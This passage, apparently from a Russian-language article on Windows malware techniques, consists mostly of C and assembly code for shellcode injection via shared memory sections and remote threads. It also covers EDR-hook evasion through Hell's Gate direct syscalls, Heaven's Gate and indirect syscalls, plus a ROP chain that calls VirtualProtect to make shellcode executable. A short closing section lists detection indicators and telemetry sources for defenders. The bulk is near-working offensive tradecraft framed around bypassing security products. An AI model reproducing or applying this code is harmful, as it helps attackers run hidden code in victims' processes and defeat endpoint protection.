NtMapViewOfSection(hSection, GetCurrentProcess(), &localView,
                  0, 0, NULL, &localViewSize,
                  ViewUnmap, // 1
                  0, PAGE_READWRITE);

// 3. Копируем shellcode в локальный view
memcpy(localView, shellcode, shellcodeSize);

// 4. Манипулируем ТОТ ЖЕ section в УДАЛЕННЫЙ процесс с RX правами
HANDLE hRemoteProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID);
PVOID remoteView = NULL;
SIZE_T remoteViewSize = 0;
```

```

NtMapViewOfSection(hSection, hRemoteProcess, &remoteView,
                  0, 0, NULL, &remoteViewSize,
                  ViewUnmap, 0, PAGE_EXECUTE_READ);

// 5. Данные автоматически "зеркалируются" в удаленном процессе!
// localView и remoteView указывают на ОДНУ И ТУ ЖЕ физическую память

// 6. Создаем удаленный поток для выполнения
typedef NTSTATUS (NTAPI *pRtlCreateUserThread)(
    HANDLE ProcessHandle, PSECURITY_DESCRIPTOR SecurityDescriptor,
    BOOLEAN CreateSuspended, ULONG StackZeroBits, PULONG StackReserved,
    PULONG StackCommit, PVOID StartAddress, PVOID StartParameter,
    PHANDLE ThreadHandle, PCLIENT_ID ClientID);

pRtlCreateUserThread RtlCreateUserThread =
    (pRtlCreateUserThread)GetProcAddress(
        GetModuleHandleA("ntdll.dll"), "RtlCreateUserThread");

HANDLE hRemoteThread;
RtlCreateUserThread(hRemoteProcess, NULL, FALSE, 0, NULL, NULL,
                  remoteView, NULL, &hRemoteThread, NULL);

```

Преимущества:

- Не требует VirtualAllocEx + WriteProcessMemory (подозрительная комбинация).
- Локальный view имеет RW, удаленный RX — нет RWX памяти.
- Shellcode передается через kernel mechanism, а не user-mode API.

Прямые системные вызовы (Direct Syscalls): Hell's Gate и Heaven's Gate

Прямые системные вызовы позволяют обойти user-mode хуки EDR, обращаясь напрямую к ядру ОС.

Hell's Gate

Hell's Gate динамически извлекает System Service Numbers (SSN) из ntdll.dll для выполнения прямых syscall.

Архитектура Hell's Gate:

```

// 1. Структуры для хранения syscall информации
typedef struct _VX_TABLE_ENTRY {
    PVOID    pAddress;
    DWORD64  dwHash;
    WORD     wSystemCall;
} VX_TABLE_ENTRY, *PVX_TABLE_ENTRY;

typedef struct _VX_TABLE {
    VX_TABLE_ENTRY NtAllocateVirtualMemory;

```

```

    VX_TABLE_ENTRY NtWriteVirtualMemory;
    VX_TABLE_ENTRY NtCreateThreadEx;
    // ... другие необходимые функции
} VX_TABLE, *PVX_TABLE;

// 2. Получение базового адреса ntdll через PEB
PVOID GetNtdllBase() {
    PPEB pPeb = (PPEB)__readgsqword(0x60); // x64: GS:[0x60]
    PPEB_LDR_DATA pLdr = pPeb->Ldr;

    PLIST_ENTRY pListEntry = pLdr->InMemoryOrderModuleList.Flink;
    while (pListEntry != &pLdr->InMemoryOrderModuleList) {
        PLDR_DATA_TABLE_ENTRY pEntry =
            CONTAINING_RECORD(pListEntry, LDR_DATA_TABLE_ENTRY,
                               InMemoryOrderLinks);

        if (wcsstr(pEntry->FullDllName.Buffer, L"ntdll.dll")) {
            return pEntry->DllBase;
        }
        pListEntry = pListEntry->Flink;
    }
    return NULL;
}

// 3. Парсинг Export Address Table (EAT) для поиска адреса функции по хешу
PVOID GetFunctionAddress(PVOID pModuleBase, DWORD64 dwFunctionHash) {
    PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pModuleBase;
    PIMAGE_NT_HEADERS pNtHeaders =
        (PIMAGE_NT_HEADERS)((PBYTE)pModuleBase + pDosHeader->e_lfanew);

    PIMAGE_EXPORT_DIRECTORY pExportDir =
        (PIMAGE_EXPORT_DIRECTORY)((PBYTE)pModuleBase +
        pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]
        .VirtualAddress);

    PDWORD pAddressOfFunctions = (PDWORD)((PBYTE)pModuleBase +
        pExportDir->AddressOfFunctions);
    PDWORD pAddressOfNames = (PDWORD)((PBYTE)pModuleBase +
        pExportDir->AddressOfNames);
    PWORD pAddressOfNameOrdinals = (PWORD)((PBYTE)pModuleBase +
        pExportDir->AddressOfNameOrdinals);

    for (DWORD i = 0; i < pExportDir->NumberOfNames; i++) {
        PCHAR pFunctionName = (PCHAR)((PBYTE)pModuleBase + pAddressOfNames[i]);

        // Хешируем имя функции (djb2)
        DWORD64 dwHash = 0;
        int c;
        while ((c = *pFunctionName++))
            dwHash = ((dwHash << 5) + dwHash) + c;

        if (dwHash == dwFunctionHash) {

```

```

        WORD ordinal = pAddressOfNameOrdinals[i];
        return (PVOID)((PBYTE)pModuleBase + pAddressOfFunctions[ordinal]);
    }
}
return NULL;
}

// 4. Извлечение SSN путем парсинга опкодов syscall stub
BOOL GetSSN(PVOID pFunctionAddress, PWORD pwSSN) {
    // Нормальный syscall stub выглядит так (x64):
    // mov r10, rcx      (4C 8B D1)
    // mov eax, SSN      (B8 XX XX XX XX)
    // test byte ptr [7FFE0308h], 1 (F6 04 25 08 03 FE 7F 01)
    // jne ...           (75 XX)
    // syscall           (0F 05)
    // ret               (C3)

    PBYTE pStub = (PBYTE)pFunctionAddress;

    // Проверяем опкоды mov r10, rcx
    if (pStub[0] != 0x4C || pStub[1] != 0x8B || pStub[2] != 0xD1)
        return FALSE; // Вероятно захукано

    // Проверяем mov eax, SSN
    if (pStub[3] != 0xB8)
        return FALSE;

    // Извлекаем SSN (следующие 4 байта после B8)
    *pwSSN = *(PWORD)(pStub + 4);

    // Дополнительно проверяем наличие syscall (0F 05) и ret (C3)
    // для валидации, что это действительно syscall stub

    return TRUE;
}

// 5. Ассемблерные функции для выполнения syscall (определяются в .asm файле)
extern "C" VOID HellsGate(WORD wSystemCall);
extern "C" NTSTATUS HellDescent(...);

// В .asm файле:
/*
.data
    wSystemCall DWORD 000h

.code
    HellsGate PROC
        mov wSystemCall, 0
        mov wSystemCall, ecx
        ret
    HellsGate ENDP

```

```

HellDescent PROC
    mov r10, rcx
    mov eax, wSystemCall
    syscall
    ret
HellDescent ENDP
END
*/

// 6. Использование
VX_TABLE vxTable = {0};
PVOID ntdllBase = GetNtdllBase();

// Пример: находим и используем NtAllocateVirtualMemory
DWORD64 hashNtAllocate = 0x...; // djb2 hash для "NtAllocateVirtualMemory"
PVOID pNtAllocate = GetFunctionAddress(ntdllBase, hashNtAllocate);
GetSSN(pNtAllocate, &vxTable.NtAllocateVirtualMemory.wSystemCall);

// Выполнение syscall
HellsGate(vxTable.NtAllocateVirtualMemory.wSystemCall);
NTSTATUS status = HellDescent(GetCurrentProcess(), &baseAddress,
                             0, &regionSize, MEM_COMMIT | MEM_RESERVE,
                             PAGE_READWRITE);

```

Обход EDR: EDR хукает функции в ntdll.dll на user-mode уровне, но прямой syscall минует эти хуки полностью.

Heaven's Gate (WoW64)

Heaven's Gate позволяет 32-битному процессу выполнять 64-битные syscall на 64-битной Windows, используя специальный far call для переключения из WoW64 в нативный 64-битный режим.

```

; 32-битный код
push 33h          ; 64-bit code selector
call $+5          ; Push EIP
add dword ptr [esp], 5
retf              ; Far return - переход в 64-битный режим

; Теперь мы в 64-битном режиме, но процессор все еще думает, что мы 32-битный процес
; Можем выполнять 64-битные инструкции

mov r10, rcx
mov eax, SSN      ; 64-битный syscall number
syscall           ; Прямой syscall в 64-битном режиме!

; Возврат в 32-битный режим
call $+5
mov dword ptr [esp+4], 23h ; 32-bit code selector
add dword ptr [esp], 0Dh
retf

```

Применение: 32-битное malware может обходить 32-битные хуки, выполняя syscall из 64-битного контекста.

Indirect Syscalls (Bouncy Gate / Recycled Gate)

Проблема Hell's Gate: инструкция syscall в пользовательском коде легко детектируется через KPROCESS!InstrumentationCallback. Решение: использовать syscall из ntdll.dll.

```
// 1. Находим любую syscall инструкцию в ntdll
PVOID FindSyscallInstruction(PVOID pNtdllBase) {
    PBYTE pCurrent = (PBYTE)pNtdllBase;

    // Ищем паттерн: syscall (0F 05) + ret (C3)
    for (size_t i = 0; i < 0x100000; i++) { // Ищем в пределах 1 МБ ntdll
        if (pCurrent[i] == 0x0F && pCurrent[i+1] == 0x05 &&
            pCurrent[i+2] == 0xC3) {
            return &pCurrent[i];
        }
    }
    return NULL;
}

// 2. Создаем trampoline
extern "C" VOID SetSSN(WORD wSystemCall);
extern "C" NTSTATUS IndirectSyscall(...);

// B .asm:
/*
.data
    wSystemCall DWORD 0
    qSyscallInsn QWORD 0

.code
    SetSSN PROC
        mov wSystemCall, ecx
        mov qSyscallInsn, rdx    ; Адрес syscall инструкции в ntdll
        ret
    SetSSN ENDP

    IndirectSyscall PROC
        mov r10, rcx
        mov eax, wSystemCall
        jmp qword ptr [qSyscallInsn] ; Jump к syscall в ntdll!
        ; Не ret - мы прыгаем, а ret уже есть в ntdll после syscall
    IndirectSyscall ENDP
*/

// 3. Использование
PVOID syscallInsn = FindSyscallInstruction(ntdllBase);
```

```
SetSSN(0x18, syscallIns); // 0x18 = NtAllocateVirtualMemory SSN
NTSTATUS status = IndirectSyscall(...);
```

Результат: Return address после syscall указывает на ntdll.dll (легитимное место), а не на наш процесс.

Return-Oriented Programming (ROP)

ROP строит произвольное вычисление из существующих инструкций, заканчивающихся ret, для обхода DEP без инъекции кода.

Базовые ROP-концепции

```
// Gadget - последовательность инструкций, заканчивающаяся ret
// Примеры gadget:
// 0x12345678: pop rax; ret
// 0x23456789: pop rbx; ret
// 0x3456789A: mov [rbx], rax; ret
// 0x456789AB: pop rcx; ret
// 0x56789ABC: jmp rcx

// ROP-цепочка на стеке:
/*
[buffer overflow]
[gadget1_addr]  -> pop rax; ret
[value_for_rax]
[gadget2_addr]  -> pop rbx; ret
[value_for_rbx]
[gadget3_addr]  -> mov [rbx], rax; ret
...
*/
```

Практический пример: обход DEP

ROP часто используется для вызова VirtualProtect для изменения прав доступа к памяти на исполняемые (RX), чтобы затем выполнить шеллкод.

```
// Цель: вызвать VirtualProtect для изменения shellcode на RX

// Нам нужно:
// VirtualProtect(shellcodeAddr, shellcodeSize, PAGE_EXECUTE_READ, &oldProtect);

// Сигнатура на x64:
// RCX = lpAddress
// RDX = dwSize
// R8  = flNewProtect
// R9  = lpflOldProtect

// ROP-цепочка:
PVOID ropChain[] = {
    // 1. Загружаем параметры в регистры
```

```

(PVOID)0x..., // pop rcx; ret (адрес гаджета)
shellcodeAddr, // значение для rcx

(PVOID)0x..., // pop rdx; ret (адрес гаджета)
shellcodeSize, // значение для rdx

(PVOID)0x..., // pop r8; ret (адрес гаджета)
(PVOID)PAGE_EXECUTE_READ, // значение для r8

(PVOID)0x..., // pop r9; ret (адрес гаджета)
&oldProtect, // значение для r9

// 2. Вызываем VirtualProtect
(PVOID)0x..., // pop rax; ret (адрес гаджета)
GetProcAddress(GetModuleHandleA("kernel32.dll"), "VirtualProtect"), // адрес Vir

(PVOID)0x..., // jmp rax (адрес гаджета для перехода на VirtualProtect)
};

// После выполнения этой ROP-цепочки shellcode становится исполняемым!

```

Автоматизация с ROPgadget

Инструменты, такие как ROPgadget, автоматизируют поиск гаджетов и даже построение ROP-цепочек.

```

# Находим все gadgets (инструкции с ret) в библиотеке
ROPgadget --binary kernel32.dll --only "pop|ret|jmp|call|mov"

# Строим ROP-цепочку для конкретной цели (например, для вызова VirtualProtect)
ROPgadget --binary kernel32.dll --ropchain

```

Индикаторы обнаружения

Для защитников — ключевые IOC для мониторинга:

- **Cross-process APC queuing** — QueueUserAPC на поток другого процесса.
- **Thread context manipulation** — SetThreadContext на удаленные потоки.
- **Suspended process creation** — флаг CREATE_SUSPENDED при создании процесса.
- **Section-based injection** — паттерн NtCreateSection + NtMapViewOfSection на удаленный процесс.
- **TxF операции с последующим NtCreateSection.**
- **Изменение window properties** с подозрительными указателями.
- **Module loads в необычных процессах** — DLL, которые обычно не загружаются в данный процесс.
- **Direct syscalls** — проверка return address после syscall.
- **Phantom handles** — handles к файлам, которые не существуют или delete-pending.

Telemetry sources (источники телеметрии):

- **ETW providers:** Microsoft-Windows-Threat-Intelligence, Microsoft-Windows-Kernel-Process.
- **Kernel callbacks:** PsSetCreateProcessNotifyRoutineEx, PsSetCreateThreadNotifyRoutine, ObRegisterCallbacks.
- **Minifilter** для мониторинга TxF операций.
- **Instrumentation callbacks** для syscall detection.

Современные техники инъекции памяти значительно эволюционировали от простого CreateRemoteThread + LoadLibrary. Продвинутые методы используют:

- **Легитимные механизмы OS:** APC queues, Atom Tables, Window Properties, TxF.
- **Низкоуровневые Native API:** прямое взаимодействие с ntdll/kernel32 минуя высокоуровневые API.
- **Syscalls:** полный обход user-mode хуков через прямые/непрямые syscall.
- **Memory sections:** избегание VirtualAllocEx/WriteProcessMemory через shared sections.
- **Transactional operations:** создание "фантомных" образов без изменения файлов на диске.
- **Process/thread hijacking:** переиспользование существующих объектов вместо создания новых.

Каждая техника имеет свои trade-off между стелс-возможностями, сложностью реализации и совместимостью с различными версиями Windows. Эффективная защита требует мониторинга на kernel-level, поведенческого анализа и корреляции множественных индикаторов, а не полагания на сигнатурный анализ отдельных API-вызовов.